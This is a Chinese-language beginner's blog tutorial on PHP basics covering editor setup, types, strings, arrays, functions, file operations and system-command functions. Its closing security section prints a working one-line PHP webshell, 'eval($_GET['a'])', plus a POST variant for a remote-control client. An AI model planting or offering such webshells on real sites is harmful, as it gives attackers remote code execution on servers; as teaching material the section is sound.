PHP入门基础

写在前面

本文主要为基础入门做个引子,对常见的或者常用的知识做个简介,方便自己和他人查阅。

注:补充知识放在文末


Sublime配置

OS: windows 10

Sublime官网
这里选择windows版下载安装。
步骤如下:

  1. 打开Sublime编辑器,输入如下代码:
    1
    2
    3
    4
    5
    {
    "cmd": ["php", "$file"],
    "file_regex": "php$",
    "selector": "source.php"
    }

一般保存至默认路径即可,如若默认路径有变,则手动选择如下路径:
C:\User(用户)\{YourName}\AppData\Roaming\Sublime Text3\Packages\User\

  1. 添加PHP环境变量:
    phpStudy安装目录中,找到php目录下你想使用的对应php版本,比如这里我选择php-7.0.12-nts。
    进入文件夹,复制路径。

打开系统环境变量添加所复制的路径,这里我使用如下方法:

右击计算机–>属性–>高级系统设置–>环境变量–>系统变量

找到变量Path,编辑并新建值,复制php路径,确认并退出。

  1. 在Sublime编辑器选项卡中依次打开:
    Tools-->Build System-->php
    这里会出现php选项,是由于第一步文件的配置以及第二步环境变量配置均无误,否则将不会出现这个选项。

  2. 配置完成
    快捷键:Ctrl + b即可输出显示php被解释后的运行结果。


PHP

定义与概念

  • PHP是嵌入HTML页面中的脚本语言
  • 是目前最流行的网站开发语言
  • 在几乎所有的平台中都可以运行
  • 很多的企业都在使用PHP作为开发语言

基础规范

  1. PHP脚本以<?php开始,以?>结束为规范写法。若为最后一行,可以省略?>
  2. PHP 脚本可以单独存在,也可以与html页面结合
  3. php文件扩展名规范,一般是.php结尾。但是,也可以使用其他命名,如.phtml等,具体是定义在配置文件中的。

数据类型

布尔类型(bool)
整型(int)
浮点型(float)
字符串(string)
资源(resource)
空类型(NULL)
数组(array)
对象(class)

一般可使用var_dump()来查看类型

变量与常量

常量:

一旦赋值不会改变,且应尽量使用大写。
常量分为系统常量和自定义常量。
系统常量可以理解为值不会有改变的量

定义常量

使用PHP中的函数define()定义自定义常量
常量在使用时,不需要$符号
常用定义:Define('ROOT','localhost');

常用系统常量:

__FILE__:php程序文件名/绝对路径
__DIR__:被调用的文件脚本所在目录
__FUNCTION__:函数名
__LINE__:PHP程序文件行数
PHP_VERSION:当前解析器的版本号
PHP_OS:执行当前PHP版本的操作系统名称


变量:

变量以$符开始,后面跟着变量名称
变量必须以字母或下划线字符开始、只能包含字母数字字符以及下划线(A-z、0-9和_)
变量名不能包含空格,且区分大小写。


输入输出

输出:
echo、print、printf、sprintf、print_r、die、var_dump

输入:
cli命令行模式接收参数:三种方式

使用argv数组、使用getopt方法、提示用户输入

argv:

1
2
3
4
5
6
7
8
<?php
/**
* 使用 $argc $argv 接受参数
*/


echo "接收到{$argc}个参数";
print_r($argv);
?>

getopt:

1
2
3
4
5
6
7
8
<?php
/**
* 使用 getopt函数
*/


$param_arr = getopt('a:b:');
print_r($param_arr);
?>

提示用户输入:

1
2
3
4
5
6
7
<?php
/**
* 提示用户输入,类似Python
*/

fwrite(STDOUT,'请输入您的博客名:');
echo '您输入的信息是:'.fgets(STDIN);
?>

EOF

PHP EOF(heredoc)是一种在命令行shell(如sh、csh、ksh、bash、PowerShell和zsh)和程序语言(像Perl、PHP、Python和Ruby)里定义一个字串的方法。

使用概述:

  1. 必须后接分号,否则编译不通过
  2. EOF可以用任意其它字符代替,只需保证结束标识与开始标识一致
  3. 结束标识必须顶格独自占一行,前后不能衔接任何空白字符
  4. 开始标识可以不单引号或双引号,不带引号与带双引号效果一致,均解释内嵌的变量和转义符号,但带单引号则不解释。
  5. 当内容需要内嵌引号(单、双引号)时,不需要加转义符,本身对单双引号转义。

运算符

比较运算符:

大于、小于、等于等运算,它们的结果都是bool值类型

逻辑运算符:

与或非运算
and或&& or或|| not或!
它们的结果都是bool值


字符串操作

.拼接运算符
长度计算:
strlen()、mb_strlen()都可以用来计算字符串长度,区别在于mb_strlen可以计算中文字符串长度
addslashes()将预定义的字符添加反斜杠转义,即
bin2hex()ascii字符串转换为16进制
chop()移除字符串右侧的空白字符或其他字符,这些字符需要自己指定的,默认则为空白字符
chr() 将指定的ascii值转换成字符
crypt()对字符串单项加密,不可逆转,类似于做md5值
htmlentities() 将字符串转换为html实体
echo htmlentities("<script>alert(1)</script>");用于防御XSS攻击
implode()返回一个由数组元素组合成的字符串,与explode()相反作用
md5()计算字符串的md5值
md5_file()计算文件的md5值
str_replace()替换字符串中的一部分(大小写敏感)
str_ireplace() 同上(大小写不敏感)
str_split() 把字符串分割到数组中,php4\5\7均支持,但无法按照指定的字符来做分割
split() 按照指定的字符来分割,与explode用法相似,split函数仅可在php4\5中使用,PHP7废除了此用法
strcmp 比较两个字符串(大小写敏感)

php的单双引号都能输出字符串,但双引号中的$可以传值,但在单引号中不行。


类型转换

  1. 强制型:(数据类型)数据变量
    (int)$var (string)$var (float)$var (bool)$var
  2. 使用具体类型函数转换:
    intval() floatval() strval()
  3. 使用通用类型转换函数:
    settype(mixed var, string)

一些例子:

1
2
var_dump((int)$b);
var_dump((int)str_replace("1", "", $a));


数组

定义:

数组是特殊的变量,可以在单个变量中同时保存一个或一个以上的值,并且可以通过下标来访问其中的某一个值。在PHP中,用array()函数创建数组。同时在php中数组可以存储任意类型的数据。

1
$arr = array('我是', '一个', '数组');


数组分类

PHP中数组一般分为索引数组和关联数组。第三种叫多维度数组。

定义:
索引数组是指数组的建是整数的数组,并且键的整数顺序是从0开始的,并依次递增。


三种赋值方式:
  1. 用数组变量的名字后面加一个中括号的方式赋值。而且中括号内的键一定要是整数。例如:
    $a[1] = 0;
  2. array()创建一个空数组,使用=>分隔左侧键和右侧值。且键一定为整数。
  3. 用array()创建一个空数组,直接在数组里用英文的单引号或双引号赋值,数组会默认建立从0开始的整数的键。

访问关联数组的内容
  1. 直接使用键来输出:
    1
    2
    $score = array("Math" => "数学");
    $scoreMaths = $score["Maths"];
  1. 使用foreach输出:
    1
    2
    3
    4
    foreach($project as $k => $z) {
    echo "<br />";
    echo $k."是".$z."。 ";
    }

操作技巧
  • 获取数组长度,count()sizeof统计数组下标个数
  • each() 返回当前元素的键名和键值,并将内部指针向前移动。
  • list() 用于在一次操作中给一组变量赋值
  • 数组元素的排序:

    sort()asort()ksort()都是正向排序,rsortarsort()krsort()都是反向排序

  • array_count_values()统计数组内下标值得个数
  • current() 每个数组都有一个内部指针指向他的当前单元,初始指向插入到数组中的第一个元素
  • array_pad() 数组首位选择性追加
  • unset() 用于销毁指定的变量
  • array_fill() 用键值填充数组
  • array_splice() 删除数组成员
  • array_unique() 删除数组中的重复值
  • array_flip() 交换数组的键值和值
  • array_search() 搜索数组
  • array_combine() 通过合并两个数组来创建一个新数组,其中的一个数组元素为键名,另一个数组元素为键值

函数

参数

定义:

参数就是通过参数列表可以传递信息到函数(以逗号作为分隔符)的表达式列表。参数类似于一个变量,通过传递参数可以使函数实现对参数的运算。

参数可以是任意类型的数据,具体要根据函数功能来确定。例如:

1
2
3
4
5
6
<?php 
function square($a) {
echo $a * $a;
}
square(2);
?>


内置函数

PHP语言自带许多函数,常见的有:

isset() 判断变量是否存在
strlen() 计算字符串长度
var_dump() 输出变量类型和具体内容(常用于调试)
mysql_connect() 链接数据库
function_exists() 判断函数是否存在


练习

编写一个函数,对数组实现array_flip()操作,返回一个新的数组:


类与对象

定义

(OOP)Object-Oriented Programming 面向对象程序语言
对象是一个由信息及对信息进行处理的秒说所组成的整体,是对现实世界的抽象。

类:

定义了一件事物的抽象特点,类的定义包含了数据的形式以及对数据的操作

对象:

类的具体实际例子


对象的主要三个特征

对象的行为:可以对对象施加的操作。如:开灯,关灯
对象的形态:当施加那些方法时,对象如和响应。如:颜色、尺寸、外形
对象的表示:就相当于省份证,具体区分在相同的行为与状态下有何不同


文件操作

文件读取

fread() 读取指定长度的字符串
fgets() 读取文件一行的内容
file_get_contents() 读取文件内容
feof() 检测文件指针是否已到达文件末尾

读取文件全部内容:

1
2
3
4
5
fread($file, filesize($file));
file_get_contents($file);
while (!feof($file)) {
fgets($file);
}


文件写入

fwrite() 写入数据

关闭文件

fclose() 关闭文件


文件操作函数
  • 获取文件大小:filesize()
  • 使用is_readableis_writeable判断文件是否存在的基础上,是否可读或可写
  • 使用is_filefile_exists判断指定路径是否存在某文件

命令执行

代码

eval()assert()

执行系统命令

system() 输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回数组里
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()shell_exec()proc_open()pcntl_exec() 反引号这个实际上使用的是shell_exex

补充知识

解释性语言与编译型语言

  1. 解释型语言

    如:Phpphthonshel
    由上到下解释每一行
    特点:每次使用,每次解释,且需要解释器
    兼容性问题基本没有

  1. 编译型语言

    如:C,C++Java
    需要编译才能执行(将文本文件test.c编译成二进制文件test.exe
    编译后生成二进制文件,让系统执行
    特点:一次编译,多次使用;但跨平台性较弱,需要修改源码。
    比如c语言有如下两个标准:

    c90+win编译标准
    c99+linux编译标准
    他们不能通用


PHP与JSP

PHP适用于小型网站
JSP遵循java语法,且用于大型网站
中型网站两者混用


字符转义

例子:

使用php输出that’s ok

  1. 使用双引号中插入单引号
  2. 使用单引号,但时加上转义字符\

PHP中布尔类型特点

只要“错”就是“空”,但是一旦被赋为某种类型,就与“空”没有关系了

PHP是弱类型
eg:

1
2
$a = 1;	$b=true;
var_dump($a==$b); // Result is true


常见网站搭建套路(铁三角)

apache/nginx + php + mysql 开源(php)全家桶
tomcat + jsp + oracle 其中java,oracle不开源
iis + asp + mssql/access 微软全家桶,贵,功能少,质量差(常见于建站早,更换搭建方式代价极高的网站)


PHP调试错误提示

notice:提示,可前面加@屏蔽,如@var_dump
waring:警告
error:错误


PHP字符占用字节数

utf-8,每个中文占3字节
gbk,每个中文占2字节
无论什么编码的英文,每个字母均只占1字节

eg:

1
2
echo strlen("你写的中文");
echo mb_strlen("你写的中文");


常见名词的概念

  • 成员变量
    定义在类内部的变量。该变量的值对外是不可见的,但可通过成员函数访问,在类被实例化为对象后,该变量即可称为对象的属性
  • 成员函数
    定义在类的内部,可用于访问对象的数据
  • 继承
    继承性是子类自动共享父类数据结构和方法的机制,这是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,吧这个已存在的类所定义的内容作为自己的内容,并加入若干新的内容。
  • 父类
    一个类被其他类继承,可将该类称为父类,或基类,或超类
  • 子类
    一个类继承其他类称为子类,也可称为派生类
  • 多态
    多态性是指相同的函数或方法可用于多种类型的对象上并获得不同的结果。不同的对象,收到同一消息可以产生不同的结果,这种现象称为多态性
  • 重载
    函数或方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互称为重载函数或者方法
  • 抽象性
    指具有一致的数据结构(属性)和行为(操作)的对象抽象成类。一个类就是这样一种抽象,它反映了与应用有关的重要性质,而忽略其他一些无关内容。任何类的划分都是主观的,但必须与具体的应用有关。
  • 封装
    指将现实世界中存在的某个客体的属性与行为绑定在一起,并放置在一个逻辑单元内。
  • 构造函数
    主要用来在创建对象时初始化对象,即为对象成员变量赋初始值,总与new运算符一起使用在创建对象的语句中
  • 析构函数(destructor)
    与构造函数相反,当对象结束其生命周期时,系统自动执行(例如在建立对象时用new开辟了一片内存空间,应在推出前在析构函数中用delete释放)

网络安全中的防御

以规则对抗规则,即防御规则对抗攻击规则

例如:写100条防御语句,找到其中没有防御到的语句即可

fuzz // 模糊测试

一句话木马

eval的意思是指将函数体内部的字符当作PHP代码运行

1
<?php eval($_GET['a']);?>

c刀代码(Java写的)

1
<?php eval($_POST['a']);?>

您的支持是我前进的动力!